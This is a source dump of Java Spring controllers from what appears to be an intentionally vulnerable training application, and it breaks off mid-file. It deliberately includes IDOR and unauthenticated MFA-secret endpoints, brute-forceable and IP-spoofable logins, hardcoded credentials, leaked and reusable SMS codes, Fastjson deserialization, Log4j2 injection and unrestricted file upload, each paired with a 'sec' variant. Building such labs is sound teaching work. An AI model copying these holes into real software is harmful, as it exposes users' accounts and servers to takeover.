2 | 3 | import com.warrenstrange.googleauth.GoogleAuthenticatorKey; 4 | import icu.secnotes.pojo.MfaSecret; 5 | import icu.secnotes.pojo.Result; 6 | import icu.secnotes.service.MfaSecretService; 7 | import icu.secnotes.utils.GoogleAuthenticatorUtil; 8 | import icu.secnotes.utils.JwtUtils; 9 | import lombok.extern.slf4j.Slf4j; 10 | import org.springframework.beans.factory.annotation.Autowired; 11 | import org.springframework.web.bind.annotation.*; 12 | import javax.servlet.http.HttpServletRequest; 13 | import java.time.LocalDateTime; 14 | import java.util.HashMap; 15 | import java.util.Map; 16 | 17 | @RestController 18 | @Slf4j 19 | @RequestMapping("/accessControl/HorizontalPri") 20 | public class HorizontalPriVulnController { 21 | 22 | @Autowired 23 | private MfaSecretService mfaSecretService; 24 | 25 | /** 26 | * 用户绑定MFA密钥 27 | * @param mfaSecret 28 | * @return 29 | */ 30 | @PostMapping("/bindMfa") 31 | public Result bindMfaSecret(@RequestBody MfaSecret mfaSecret, HttpServletRequest request) { 32 | // 获取JWT Token 33 | String jwttoken = request.getHeader("Authorization"); 34 | try { 35 | // 解析获取JWT中用户ID 36 | String tokenUserId = JwtUtils.parseJwt(jwttoken).get("id").toString(); 37 | 38 | // 验证用户只能绑定自己的MFA密钥,否则退出 39 | if (!mfaSecret.getUserId().toString().equals(tokenUserId)) { 40 | log.warn("用户 {} 尝试越权绑定用户 {} 的MFA密钥", tokenUserId, mfaSecret.getUserId()); 41 | return Result.error("无权绑定其他用户的MFA密钥"); 42 | } 43 | 44 | // 检查用户是否已有MFA密钥,否则退出 45 | MfaSecret existingSecret = mfaSecretService.getSecretByUserId(mfaSecret.getUserId()); 46 | if (existingSecret != null) { 47 | // 表示用户已绑定MFA 48 | return Result.error("用户已经绑定过MFA"); 49 | } 50 | 51 | // 生成google mfa secreate 52 | GoogleAuthenticatorKey credentials = GoogleAuthenticatorUtil.createCredentials(); 53 | String secret = credentials.getKey(); 54 | log.info("生成的MFA密钥: {}", secret); 55 | 56 | String qrCodeUrl = GoogleAuthenticatorUtil.getQRCodeUrl("admin", "SpringVulnBoot", secret); 57 | log.info(qrCodeUrl); 58 | 59 | // 设置GoogleAuthenticatorKey 60 | mfaSecret.setSecret(secret); 61 | 62 | // 设置创建时间为当前,update_time为null 63 | mfaSecret.setCreateTime(LocalDateTime.now()); 64 | 65 | // 为用户生成google authenticator的密钥 66 | Integer res = mfaSecretService.createMfaSecret(mfaSecret); 67 | 68 | // 进行判断 69 | if (res > 0) { 70 | // 表示用户mfa生成成功 71 | // return Result.success("用户MFA绑定成功"); 72 | // 表示用户mfa生成成功 73 | Map data = new HashMap<>(); 74 | data.put("secret", secret); 75 | data.put("qrCodeUrl", qrCodeUrl); 76 | 77 | return Result.success(data); 78 | } else { 79 | // 表示用户mfa生成成功 80 | return Result.error("用户MFA绑定失败"); 81 | } 82 | 83 | } catch (Exception e) { 84 | log.error("JWT验证失败", e); 85 | return Result.error("身份验证失败"); 86 | } 87 | 88 | } 89 | 90 | /** 91 | * 删除用户的MFA密钥 92 | * @param mfaSecret 93 | * @return 94 | */ 95 | @PostMapping("/resetMfa") 96 | public Result resetMfaSecret(@RequestBody MfaSecret mfaSecret, HttpServletRequest request) { 97 | // 获取JWT Token 98 | String jwttoken = request.getHeader("Authorization"); 99 | try { 100 | // 解析获取JWT中用户ID 101 | String tokenUserId = JwtUtils.parseJwt(jwttoken).get("id").toString(); 102 | 103 | // 验证用户只能重置自己的MFA密钥 104 | if (!mfaSecret.getUserId().toString().equals(tokenUserId)) { 105 | log.warn("用户 {} 尝试越权重置用户 {} 的MFA密钥", tokenUserId, mfaSecret.getUserId()); 106 | return Result.error("无权重置其他用户的MFA密钥"); 107 | } 108 | // 删除用户的MFA密钥 109 | Integer res = mfaSecretService.deleteMfaSecret(mfaSecret); 110 | if (res > 0) { 111 | return Result.success("用户MFA解绑成功"); 112 | } else { 113 | return Result.error("用户MFA解绑失败"); 114 | } 115 | 116 | } catch (Exception e) { 117 | log.error("JWT验证失败", e); 118 | return Result.error("身份验证失败"); 119 | } 120 | 121 | } 122 | 123 | /** 124 | * 越权漏洞,可越权查询其他用户的MFA密钥 125 | * @param userId 126 | * @return 127 | */ 128 | @GetMapping("/vuln1/{userId}") 129 | public Result getMfaSecret(@PathVariable Integer userId) { 130 | MfaSecret mfaSecret = mfaSecretService.getSecretByUserId(userId); 131 | if (mfaSecret != null) { 132 | return Result.success(mfaSecret.getSecret()); 133 | } else { 134 | return Result.error("用户不存在或者用户未绑定MFA"); 135 | } 136 | } 137 | 138 | /** 139 | * 安全获取MFA密钥接口 140 | * 使用JWT验证用户身份,防止越权访问 141 | * @param userId 用户ID 142 | * @param request HTTP请求对象,用于获取JWT token 143 | * @return MFA密钥信息 144 | */ 145 | @GetMapping("/sec1/{userId}") 146 | public Result getSecureMfaSecret(@PathVariable Integer userId, HttpServletRequest request) { 147 | // 获取JWT token 148 | String jwttoken = request.getHeader("Authorization"); 149 | 150 | try { 151 | // 解析获取JWT中用户ID 152 | String tokenUserId = JwtUtils.parseJwt(jwttoken).get("id").toString(); 153 | 154 | // 验证用户只能访问自己的MFA密钥 155 | if (!userId.toString().equals(tokenUserId)) { 156 | log.warn("用户 {} 尝试越权访问用户 {} 的MFA密钥", tokenUserId, userId); 157 | return Result.error("无权访问其他用户的MFA密钥"); 158 | } 159 | 160 | // 获取MFA密钥 161 | MfaSecret mfaSecret = mfaSecretService.getSecretByUserId(userId); 162 | if (mfaSecret != null) { 163 | return Result.success(mfaSecret.getSecret()); 164 | } else { 165 | return Result.error("用户不存在或者用户未绑定MFA"); 166 | } 167 | } catch (Exception e) { 168 | log.error("JWT验证失败", e); 169 | return Result.error("身份验证失败"); 170 | } 171 | } 172 | 173 | } 174 | -------------------------------------------------------------------------------- /src/main/java/icu/secnotes/controller/AccessControll/UnauthorizedPriVulnController.java: -------------------------------------------------------------------------------- 1 | package icu.secnotes.controller.AccessControll; 2 | 3 | import icu.secnotes.pojo.MfaSecret; 4 | import icu.secnotes.pojo.Result; 5 | import icu.secnotes.service.MfaSecretService; 6 | import icu.secnotes.utils.JwtUtils; 7 | import lombok.extern.slf4j.Slf4j; 8 | import org.springframework.beans.factory.annotation.Autowired; 9 | import org.springframework.web.bind.annotation.*; 10 | import javax.servlet.http.HttpServletRequest; 11 | 12 | @RestController 13 | @Slf4j 14 | @RequestMapping("/accessControl/UnauthorizedPri") 15 | public class UnauthorizedPriVulnController { 16 | 17 | @Autowired 18 | private MfaSecretService mfaSecretService; 19 | 20 | /** 21 | * 未授权访问漏洞,不需要认证登录就可以获取其他人的MFA密钥 22 | * @param userId 23 | * @return 24 | */ 25 | @GetMapping("/vuln1/{userId}") 26 | public Result getMfaSecretByUnAuth(@PathVariable Integer userId) { 27 | MfaSecret mfaSecret = mfaSecretService.getSecretByUserId(userId); 28 | if (mfaSecret != null) { 29 | return Result.success(mfaSecret.getSecret()); 30 | } else { 31 | return Result.error("用户不存在或者用户未绑定MFA"); 32 | } 33 | } 34 | 35 | /** 36 | * 安全获取MFA密钥接口 37 | * 使用JWT验证用户身份,防止越权访问 38 | * @param userId 用户ID 39 | * @param request HTTP请求对象,用于获取JWT token 40 | * @return MFA密钥信息 41 | */ 42 | @GetMapping("/sec1/{userId}") 43 | public Result getSecureMfaSecret(@PathVariable Integer userId, HttpServletRequest request) { 44 | // 获取JWT token 45 | String jwttoken = request.getHeader("Authorization"); 46 | 47 | try { 48 | // 解析获取JWT中用户ID 49 | String tokenUserId = JwtUtils.parseJwt(jwttoken).get("id").toString(); 50 | 51 | // 验证用户只能访问自己的MFA密钥 52 | if (!userId.toString().equals(tokenUserId)) { 53 | log.warn("用户 {} 尝试越权访问用户 {} 的MFA密钥", tokenUserId, userId); 54 | return Result.error("无权访问其他用户的MFA密钥"); 55 | } 56 | 57 | // 获取MFA密钥 58 | MfaSecret mfaSecret = mfaSecretService.getSecretByUserId(userId); 59 | if (mfaSecret != null) { 60 | return Result.success(mfaSecret.getSecret()); 61 | } else { 62 | return Result.error("用户不存在或者用户未绑定MFA"); 63 | } 64 | } catch (Exception e) { 65 | log.error("JWT验证失败", e); 66 | return Result.error("身份验证失败"); 67 | } 68 | } 69 | 70 | } 71 | -------------------------------------------------------------------------------- /src/main/java/icu/secnotes/controller/Authentication/MFAAuthVulnController.java: -------------------------------------------------------------------------------- 1 | package icu.secnotes.controller.Authentication; 2 | 3 | import lombok.extern.slf4j.Slf4j; 4 | import org.springframework.web.bind.annotation.RequestMapping; 5 | import org.springframework.web.bind.annotation.RestController; 6 | 7 | @RestController 8 | @Slf4j 9 | @RequestMapping("/authentication/mfaBased") 10 | public class MFAAuthVulnController { 11 | 12 | } 13 | -------------------------------------------------------------------------------- /src/main/java/icu/secnotes/controller/Authentication/PassBasedAuthVulnController.java: -------------------------------------------------------------------------------- 1 | package icu.secnotes.controller.Authentication; 2 | 3 | import com.google.code.kaptcha.impl.DefaultKaptcha; 4 | import icu.secnotes.pojo.Result; 5 | import icu.secnotes.pojo.User; 6 | import icu.secnotes.service.UserLoginLogService; 7 | import icu.secnotes.service.UserService; 8 | import icu.secnotes.utils.Security; 9 | import lombok.extern.slf4j.Slf4j; 10 | import org.springframework.beans.factory.annotation.Autowired; 11 | import org.springframework.web.bind.annotation.*; 12 | 13 | import javax.imageio.ImageIO; 14 | import javax.servlet.ServletOutputStream; 15 | import javax.servlet.http.HttpServletRequest; 16 | import javax.servlet.http.HttpServletResponse; 17 | import javax.servlet.http.HttpSession; 18 | import java.awt.image.BufferedImage; 19 | import java.io.IOException; 20 | import java.time.LocalDateTime; 21 | 22 | @RestController 23 | @Slf4j 24 | @RequestMapping("/authentication/passwordBased") 25 | public class PassBasedAuthVulnController { 26 | 27 | @Autowired 28 | private UserService userService; 29 | 30 | @Autowired 31 | private DefaultKaptcha defaultKaptcha; 32 | 33 | @Autowired 34 | private UserLoginLogService userLoginLogService; 35 | 36 | /** 37 | * 用户登录,存在暴力破解漏洞 38 | * 39 | * @param user 40 | * @return 41 | */ 42 | @PostMapping("/vuln1") 43 | public Result passwordLoginVuln(@RequestBody User user) { 44 | User u = userService.passwordLogin(user); 45 | 46 | if (u != null) { 47 | // 登录成功 48 | log.info("{} 登录成功!", u.getUsername()); 49 | return Result.success("登录成功,账号:" + user.getUsername() + ",密码:" + user.getPassword()); 50 | } else { 51 | // 登录失败 52 | log.error("登录失败,账号密码是:{},{}", user.getUsername(), user.getPassword()); 53 | return Result.success("登录失败,账号:" + user.getUsername() + ",密码:" + user.getPassword()); 54 | } 55 | } 56 | 57 | /** 58 | * 防止暴力破解的用户登录,可以伪造IP绕过 59 | */ 60 | @PostMapping("/vuln2") 61 | public Result passwordLoginVuln2(@RequestBody User user, HttpServletRequest request) { 62 | //1. 获取用户登录ip 63 | String ip = (request.getHeader("X-Forwarded-For") != null) ? request.getHeader("X-Forwarded-For") : request.getRemoteAddr(); 64 | 65 | //2. 判断最近5分钟内登录失败次数是否超过5次 66 | if (userLoginLogService.countUserLoginLogByIp(ip) >= 5) { 67 | log.error("登录失败次数过多,账号:{}", user.getUsername()); 68 | return Result.success("登录失败次数过多,请稍后再试!"); 69 | } 70 | 71 | //3. 登录 72 | User u = userService.passwordLogin(user); 73 | 74 | if (u != null) { 75 | // 登录成功,清除登录失败记录 76 | userLoginLogService.deleteUserLoginLogByIp(ip); 77 | log.info("{} 登录成功!", u.getUsername()); 78 | return Result.success("登录成功,账号:" + user.getUsername() + ",密码:" + user.getPassword()); 79 | } else { 80 | // 登录失败,记录登录失败日志 81 | userLoginLogService.insertUserLoginLog(ip, user.getUsername(), LocalDateTime.now()); 82 | log.error("登录失败,账号密码是:{},{}", user.getUsername(), user.getPassword()); 83 | return Result.success("登录失败,账号:" + user.getUsername() + ",密码:" + user.getPassword()); 84 | } 85 | } 86 | 87 | /** 88 | * 防止暴力破解的用户登录 89 | */ 90 | @PostMapping("/sec") 91 | public Result passwordLoginSec(@RequestBody User user, HttpServletRequest request) { 92 | //1. 获取用户登录ip 93 | String ip = request.getRemoteAddr(); 94 | 95 | //2. 判断最近5分钟内登录失败次数是否超过5次 96 | if (userLoginLogService.countUserLoginLogByIp(ip) >= 5) { 97 | log.error("登录失败次数过多,账号:{}", user.getUsername()); 98 | return Result.success("登录失败次数过多,请稍后再试!"); 99 | } 100 | 101 | //3. 登录 102 | User u = userService.passwordLogin(user); 103 | 104 | if (u != null) { 105 | // 登录成功,清除登录失败记录 106 | userLoginLogService.deleteUserLoginLogByIp(ip); 107 | log.info("{} 登录成功!", u.getUsername()); 108 | return Result.success("登录成功,账号:" + user.getUsername() + ",密码:" + user.getPassword()); 109 | } else { 110 | // 登录失败,记录登录失败日志 111 | userLoginLogService.insertUserLoginLog(ip, user.getUsername(), LocalDateTime.now()); 112 | log.error("登录失败,账号密码是:{},{}", user.getUsername(), user.getPassword()); 113 | return Result.success("登录失败,账号:" + user.getUsername() + ",密码:" + user.getPassword()); 114 | } 115 | } 116 | 117 | /** 118 | * 基于HTTP Basic认证的用户登录 119 | */ 120 | @PostMapping("/httpBasicLogin") 121 | public Result httpBasicLogin(HttpServletRequest request, HttpServletResponse response) { 122 | String USERNAME = "zhangsan"; // 硬编码用户名 123 | String PASSWORD = "123"; // 硬编码密码 124 | 125 | // 处理HTTP Basic Auth登录 126 | String token = request.getHeader("token"); 127 | if (token == null || !token.startsWith("Basic ")) { 128 | log.info("HTTP Basic Auth登录,token缺失或者token格式错误"); 129 | return Result.success("HTTP Basic Auth登录,token缺失或者token格式错误"); 130 | } 131 | 132 | String[] credentials = Security.decodeBasicAuth(token); 133 | if (credentials == null || credentials.length != 2) { 134 | return Result.success("HTTP Basic Auth登录,token解析失败"); 135 | } 136 | 137 | String username = credentials[0]; 138 | String password = credentials[1]; 139 | 140 | if (!USERNAME.equals(username) || !PASSWORD.equals(password)) { 141 | log.info("HTTP Basic Auth登录,账号密码错误,token:{}" , token); 142 | return Result.success("HTTP Basic Auth登录失败,账号:" + username + ",密码:" + password); 143 | } 144 | 145 | log.info("HTTP Basic Auth登录,放行,token:{}" , token); 146 | return Result.success("HTTP Basic Auth登录成功,账号:" + username + ",密码:" + password); 147 | } 148 | 149 | @GetMapping("/captcha") 150 | public void getCaptcha(HttpServletRequest request, HttpServletResponse response) throws IOException { 151 | log.info("有人请求验证码了....."); 152 | response.setDateHeader("Expires", 0); 153 | response.setHeader("Cache-Control", "no-store, no-cache, must-revalidate"); 154 | response.addHeader("Cache-Control", "post-check=0, pre-check=0"); 155 | response.setHeader("Pragma", "no-cache"); 156 | response.setContentType("image/jpeg"); 157 | 158 | // 生成验证码文本 159 | String capText = defaultKaptcha.createText(); 160 | // 将验证码文本存储到 Session 161 | HttpSession session = request.getSession(); 162 | System.out.println("存储时候的session对象" + session); 163 | session.setAttribute("captcha", capText); 164 | // 生成验证码图片 165 | BufferedImage bi = defaultKaptcha.createImage(capText); 166 | ServletOutputStream out = response.getOutputStream(); 167 | ImageIO.write(bi, "jpg", out); 168 | out.flush(); 169 | out.close(); 170 | 171 | System.out.println("获取验证码接口-----》Stored captcha in session: " + session.getAttribute("captcha")); 172 | } 173 | 174 | @PostMapping("/vuln3") 175 | public Result passwordLoginVuln3( @RequestParam String username, // 接收用户名 176 | @RequestParam String password, // 接收密码 177 | @RequestParam String captcha, // 接收验证码 178 | HttpServletRequest request) { 179 | 180 | //获取服务端生成的验证码 181 | HttpSession session = request.getSession(); 182 | System.out.println("读取时候的session对象" + session); 183 | 184 | // 从 Session 中获取验证码 185 | System.out.println("登录接口-------》提交的验证码:" + captcha); 186 | System.out.println("登录接口-------》Stored captcha in session: " + session.getAttribute("captcha")); 187 | 188 | String sessionCaptcha = (String) request.getSession().getAttribute("captcha"); 189 | // 校验验证码 190 | if (sessionCaptcha == null || !sessionCaptcha.equalsIgnoreCase(captcha)) { 191 | return Result.success("验证码错误"); 192 | } 193 | 194 | // 校验用户名和密码 195 | User u = userService.passwordLogin2(username, password); 196 | 197 | if (u != null) { 198 | // 登录成功 199 | log.info("{} 登录成功!", u.getUsername()); 200 | return Result.success("登录成功,账号:" + username + ",密码:" + password); 201 | } else { 202 | // 登录失败 203 | log.error("登录失败,账号密码是:{},{}", username, password); 204 | return Result.success("登录失败,账号:" + username + ",密码:" + password); 205 | } 206 | } 207 | 208 | /** 209 | * 用户登录,通过图形验证码防刷(简单实现图形验证码) 210 | * 211 | * @param username 212 | * @param password 213 | * @return 214 | */ 215 | @PostMapping("/sec2") 216 | public Result passwordLoginSecByCaptcha( @RequestParam String username, // 接收用户名 217 | @RequestParam String password, // 接收密码 218 | @RequestParam String captcha, // 接收验证码 219 | HttpServletRequest request) { 220 | 221 | //获取服务端生成的验证码 222 | HttpSession session = request.getSession(); 223 | System.out.println("读取时候的session对象" + session); 224 | 225 | // 从 Session 中获取验证码 226 | System.out.println("登录接口-------》提交的验证码:" + captcha); 227 | System.out.println("登录接口-------》Stored captcha in session: " + session.getAttribute("captcha")); 228 | 229 | String sessionCaptcha = (String) request.getSession().getAttribute("captcha"); 230 | // 校验验证码 231 | if (sessionCaptcha == null || !sessionCaptcha.equalsIgnoreCase(captcha)) { 232 | return Result.success("验证码错误,账号:" + username + ",密码:" + password); 233 | } 234 | 235 | // 清除验证码 236 | session.removeAttribute("captcha"); 237 | 238 | // 校验用户名和密码 239 | User u = userService.passwordLogin2(username, password); 240 | 241 | if (u != null) { 242 | // 登录成功 243 | log.info("{} 登录成功!", u.getUsername()); 244 | return Result.success("登录成功,账号:" + username + ",密码:" + password); 245 | } else { 246 | // 登录失败 247 | log.error("登录失败,账号密码是:{},{}", username, password); 248 | return Result.success("登录失败,账号:" + username + ",密码:" + password); 249 | } 250 | } 251 | 252 | } 253 | -------------------------------------------------------------------------------- /src/main/java/icu/secnotes/controller/Authentication/SmsBasedAuthVulnController.java: -------------------------------------------------------------------------------- 1 | package icu.secnotes.controller.Authentication; 2 | 3 | import icu.secnotes.pojo.Result; 4 | import icu.secnotes.pojo.SmsCode; 5 | import icu.secnotes.service.SmsCodeService; 6 | import org.springframework.beans.factory.annotation.Autowired; 7 | import org.springframework.web.bind.annotation.*; 8 | import javax.servlet.http.HttpServletRequest; 9 | import javax.servlet.http.HttpSession; 10 | import javax.validation.Valid; 11 | import java.time.LocalDateTime; 12 | 13 | @RestController 14 | @RequestMapping("/authentication/smsBased") 15 | public class SmsBasedAuthVulnController { 16 | 17 | @Autowired 18 | private SmsCodeService smsCodeService; 19 | 20 | // 发送短信接口:接口直接将验证码返回给前端 + 短信轰炸 21 | @PostMapping("/sendVuln1") 22 | public Result sendVuln1(@Valid @RequestBody SmsCode smsCode) { 23 | // 生成四位随机数作为验证码 24 | smsCode.setCode(String.valueOf((int) ((Math.random() * 9 + 1) * 1000))); 25 | // 设置验证码的创建时间为当前时间 26 | smsCode.setCreateTime(LocalDateTime.now()); 27 | // 设置验证码的过期时间为当前时间加5分钟 28 | smsCode.setExpireTime(LocalDateTime.now().plusMinutes(5)); 29 | // 验证的使用状态和重试次数默认是0,所以生成验证码的时候可以不设置 30 | smsCodeService.generateCode(smsCode); 31 | return Result.success("短信验证码已发送," + smsCode.getCode()); 32 | } 33 | 34 | // 发送短信接口:验证码不返回给前端 + 短信轰炸 35 | @PostMapping("/sendSafe1") 36 | public Result sendSafe1(@Valid @RequestBody SmsCode smsCode) { 37 | // 生成四位随机数作为验证码 38 | smsCode.setCode(String.valueOf((int) ((Math.random() * 9 + 1) * 1000))); 39 | // 设置验证码的创建时间为当前时间 40 | smsCode.setCreateTime(LocalDateTime.now()); 41 | // 设置验证码的过期时间为当前时间加5分钟 42 | smsCode.setExpireTime(LocalDateTime.now().plusMinutes(5)); 43 | // 验证的使用状态和重试次数默认是0,所以生成验证码的时候可以不设置 44 | smsCodeService.generateCode(smsCode); 45 | return Result.success("短信验证码已发送"); 46 | } 47 | 48 | // 发送短信接口:图形验证码防短信轰炸 49 | @PostMapping("/sendSafe2") 50 | public Result sendSafe2(@RequestParam String phone, @RequestParam String captcha, HttpServletRequest request) { 51 | 52 | //获取服务端生成的验证码 53 | HttpSession session = request.getSession(); 54 | System.out.println("读取时候的session对象" + session); 55 | // 从 Session 中获取验证码 56 | System.out.println("登录接口-------》提交的验证码:" + captcha); 57 | System.out.println("登录接口-------》Stored captcha in session: " + session.getAttribute("captcha")); 58 | String sessionCaptcha = (String) request.getSession().getAttribute("captcha"); 59 | // 校验验证码 60 | if (sessionCaptcha == null || !sessionCaptcha.equalsIgnoreCase(captcha)) { 61 | return Result.success("图形验证码错误"); 62 | } 63 | 64 | // 清除验证码 65 | session.removeAttribute("captcha"); 66 | 67 | 68 | // 生成四位随机数作为验证码 69 | String smsCode = String.valueOf((int) ((Math.random() * 9 + 1) * 1000)); 70 | // 设置验证码的创建时间为当前时间 71 | LocalDateTime createTime = LocalDateTime.now(); 72 | // 设置验证码的过期时间为当前时间加5分钟 73 | LocalDateTime expireTime = LocalDateTime.now().plusMinutes(5); 74 | 75 | // 验证的使用状态和重试次数默认是0,所以生成验证码的时候可以不设置 76 | smsCodeService.generateCodeByPhoneAndCode(phone, smsCode, createTime, expireTime); 77 | return Result.success("短信验证码已发送"); 78 | } 79 | 80 | // 验证短信接口:验证码未限制校验次数,可以暴力破解验证码 81 | @PostMapping("/verifyVuln1") 82 | public Result verifyVuln1(@Valid @RequestBody SmsCode smsCode) { 83 | SmsCode code = smsCodeService.verifyCode(smsCode.getPhone(), smsCode.getCode()); 84 | if (code != null) { 85 | // 设置验证码为已使用 86 | smsCodeService.updateSmsCodeUsed(smsCode); 87 | return Result.success(); 88 | } else { 89 | return Result.error("验证码错误"); 90 | } 91 | } 92 | 93 | // 验证短信接口:验证码校验次数限制,防止暴力破解 94 | @PostMapping("/verifySafe1") 95 | public Result verifySafe1(@Valid @RequestBody SmsCode smsCode) { 96 | SmsCode code = smsCodeService.verifyCode(smsCode.getPhone(), smsCode.getCode()); 97 | if (code != null) { 98 | // 设置验证码为已使用 99 | smsCodeService.updateSmsCodeUsed(smsCode); 100 | return Result.success(); 101 | } else { 102 | // 更新验证码的重试次数 103 | smsCodeService.updateSmsCodeRetryCount(smsCode.getPhone()); 104 | // 做一个判断,如果验证码的重试次数小于5,返回验证码错误,否则返回错误次数过多 105 | if (smsCodeService.selectRetryCount(smsCode.getPhone()) < 5) { 106 | return Result.error("验证码错误"); 107 | } else { 108 | return Result.error("错误次数过多,请重新获取短信验证码"); 109 | } 110 | } 111 | } 112 | 113 | // 验证短信接口:验证码可重复使用 114 | @PostMapping("/verifyVuln2") 115 | public Result verifyVuln2(@Valid @RequestBody SmsCode smsCode) { 116 | // 虽然验证成功后修改了验证码未已使用,但是查询的时候并没有校验使用状态 117 | SmsCode code = smsCodeService.verifyCode2(smsCode.getPhone(), smsCode.getCode()); 118 | if (code != null) { 119 | // 设置验证码为已使用 120 | smsCodeService.updateSmsCodeUsed(smsCode); 121 | return Result.success(); 122 | } else { 123 | return Result.error("验证码错误"); 124 | } 125 | } 126 | } 127 | -------------------------------------------------------------------------------- /src/main/java/icu/secnotes/controller/Components/FastjsonController.java: -------------------------------------------------------------------------------- 1 | package icu.secnotes.controller.Components; 2 | 3 | import com.alibaba.fastjson.JSON; 4 | import icu.secnotes.pojo.Result; 5 | import icu.secnotes.pojo.User; 6 | import lombok.extern.slf4j.Slf4j; 7 | import org.springframework.web.bind.annotation.PostMapping; 8 | import org.springframework.web.bind.annotation.RequestBody; 9 | import org.springframework.web.bind.annotation.RequestMapping; 10 | import org.springframework.web.bind.annotation.RestController; 11 | 12 | @RestController 13 | @Slf4j 14 | @RequestMapping("/components/fastjson") 15 | public class FastjsonController { 16 | 17 | @PostMapping("/vuln1") 18 | public Result fastjsonVuln1(@RequestBody String json) { 19 | log.info("请求参数: {}", json); 20 | // 进行fastjson反序列化,需要对下面的代码进行try catch异常处理 21 | try { 22 | Object object = JSON.parse(json); 23 | return Result.success(object.toString()); 24 | } catch (Exception e) { 25 | return Result.error(e.toString()); 26 | } 27 | } 28 | 29 | @PostMapping("/sec1") 30 | public Result fastjsonSec1(@RequestBody String json) { 31 | log.info("请求参数: {}", json); 32 | // 进行fastjson反序列化,需要对下面的代码进行try catch异常处理 33 | try { 34 | Object object = JSON.parseObject(json, User.class); 35 | return Result.success(object.toString()); 36 | } catch (Exception e) { 37 | return Result.error(e.toString()); 38 | } 39 | } 40 | 41 | } 42 | -------------------------------------------------------------------------------- /src/main/java/icu/secnotes/controller/Components/Log4j2Controller.java: -------------------------------------------------------------------------------- 1 | package icu.secnotes.controller.Components; 2 | 3 | import icu.secnotes.pojo.Result; 4 | import icu.secnotes.utils.Security; 5 | import lombok.extern.slf4j.Slf4j; 6 | import org.apache.logging.log4j.LogManager; 7 | import org.apache.logging.log4j.Logger; 8 | import org.springframework.web.bind.annotation.GetMapping; 9 | import org.springframework.web.bind.annotation.RequestMapping; 10 | import org.springframework.web.bind.annotation.RestController; 11 | 12 | @RestController 13 | @RequestMapping("/components/log4j2") 14 | @Slf4j 15 | public class Log4j2Controller { 16 | 17 | private static final Logger LOGGER = LogManager.getLogger(Log4j2Controller.class); 18 | 19 | @GetMapping("/vuln1") 20 | public Result Vuln1(String input) { 21 | LOGGER.info("用户输入: {}", input); 22 | return Result.success(String.format("用户输入: %s", input)); 23 | } 24 | 25 | @GetMapping("/sec1") 26 | public Result Sec1(String input) { 27 | if (!Security.checkSql(input)) { 28 | LOGGER.warn("检测到非法注入字符"); 29 | return Result.error("检测到非法注入"); 30 | } 31 | LOGGER.info("用户输入的内容: {}", input); 32 | return Result.success(String.format("用户输入的内容: %s", input)); 33 | } 34 | 35 | } 36 | -------------------------------------------------------------------------------- /src/main/java/icu/secnotes/controller/FileUpload/FileUploadController.java: -------------------------------------------------------------------------------- 1 | package icu.secnotes.controller.FileUpload; 2 | 3 | import icu.secnotes.pojo.Result; 4 | import lombok.extern.slf4j.Slf4j; 5 | import org.springframework.web.bind.annotation.*; 6 | import org.springframework.web.multipart.MultipartFile; 7 | import java.io.File; 8 | import java.io.IOException; 9 | import java.nio.file.Files; 10 | import java.nio.file.Paths; 11 | import java.util.Arrays; 12 | import java.util.List; 13 | 14 | @RestController 15 | @Slf4j 16 | @RequestMapping("/fileUpload") 17 | public class FileUploadController { 18 | 19 | private static final String UPLOAD_DIR = System.getProperty("user.dir") + "/src/main/resources/static/file/"; 20 | private static final List ALLOWED_EXTENSIONS = Arrays.asList("jpg", "jpeg", "png", "gif"); 21 | 22 | @PostMapping("/vuln1") 23 | @ResponseBody 24 | public Result handleFileUploadVuln1(@RequestParam("file") MultipartFile file) { 25 | if (file.isEmpty()) { 26 | return Result.error("请选择要上传的文件"); 27 | } 28 | 29 | try { 30 | // 确保上传目录存在 31 | if (!Files.exists(Paths.get(UPLOAD_DIR))) { 32 | Files.createDirectories(Paths.get(UPLOAD_DIR)); 33 | } 34 | 35 | // 保存文件 36 | String filePath = UPLOAD_DIR + file.getOriginalFilename(); 37 | File dest = new File(filePath); 38 | file.transferTo(dest); 39 | // 将下面的file.getOriginalFilename()改为文件完整路径 40 | return Result.success("文件上传成功: " + filePath); 41 | 42 | } catch (IOException e) { 43 | e.printStackTrace(); 44 | return Result.error("文件上传失败: " + e.getMessage()); 45 | } 46 | } 47 | 48 | /** 49 | * 文件类型校验,可绕过 50 | */ 51 | @PostMapping("/vuln2") 52 | @ResponseBody 53 | public Result handleFileUploadVuln2(@RequestParam("file") MultipartFile file) { 54 | if (file.isEmpty()) { 55 | return Result.error("请选择要上传的文件"); 56 | } 57 | 58 | try { 59 | // 确保上传目录存在 60 | if (!Files.exists(Paths.get(UPLOAD_DIR))) { 61 | Files.createDirectories(Paths.get(UPLOAD_DIR)); 62 | } 63 | 64 | // 限制上传文件类型 65 | String contentType = file.getContentType(); 66 | System.out.println(contentType); 67 | if (!"image/jpeg".equals(contentType) && !"image/png".equals(contentType)) { 68 | return Result.error("只允许上传图片文件"); 69 | } 70 | 71 | // 保存文件 72 | String filePath = UPLOAD_DIR + file.getOriginalFilename(); 73 | File dest = new File(filePath); 74 | file.transferTo(dest); 75 | return Result.success("文件上传成功: " + filePath); 76 | 77 | } catch (IOException e) { 78 | e.printStackTrace(); 79 | return Result.error("文件上传失败: " + e.getMessage()); 80 | } 81 | } 82 | 83 | /** 84 | * 修复方案:限制上传文件后缀名 85 | */ 86 | @PostMapping("/sec1") 87 | @ResponseBody 88 | public Result handleFileUploadSec1(@RequestParam("file") MultipartFile file) { 89 | if (file.isEmpty()) { 90 | return Result.error("请选择要上传的文件"); 91 | } 92 | 93 | try { 94 | // 确保上传目录存在 95 | if (!Files.exists(Paths.get(UPLOAD_DIR))) { 96 | Files.createDirectories(Paths.get(UPLOAD_DIR)); 97 | } 98 | 99 | // 限制上传文件类型 100 | String fileName = file.getOriginalFilename(); 101 | // 如果上传的文件后缀名不属于ALLOWED_EXTENSIONS,则返回错误 102 | String extension = fileName.substring(fileName.lastIndexOf(".") + 1); 103 | if (!ALLOWED_EXTENSIONS.contains(extension)) { 104 | return Result.error("只允许上传图片文件"); 105 | } 106 | 107 | // 保存文件 108 | String filePath = UPLOAD_DIR + fileName; 109 | File dest = new File(filePath); 110 | file.transferTo(dest); 111 | return Result.success("文件上传成功: " + filePath); 112 | 113 | } catch (IOException e) { 114 | e.printStackTrace(); 115 | return Result.error("文件上传失败: " + e.getMessage()); 116 | } 117 | } 118 | 119 | } 120 | -------------------------------------------------------------------------------- /src/main/java/icu/secnotes/controller/LoginController.java: -------------------------------------------------------------------------------- 1 | package icu.secnotes.controller; 2 | 3 | import icu.secnotes.pojo.Admin; 4 | import icu.secnotes.pojo.Result; 5 | import icu.secnotes.service.LoginService; 6 | import icu.secnotes.utils.JwtUtils; 7 | 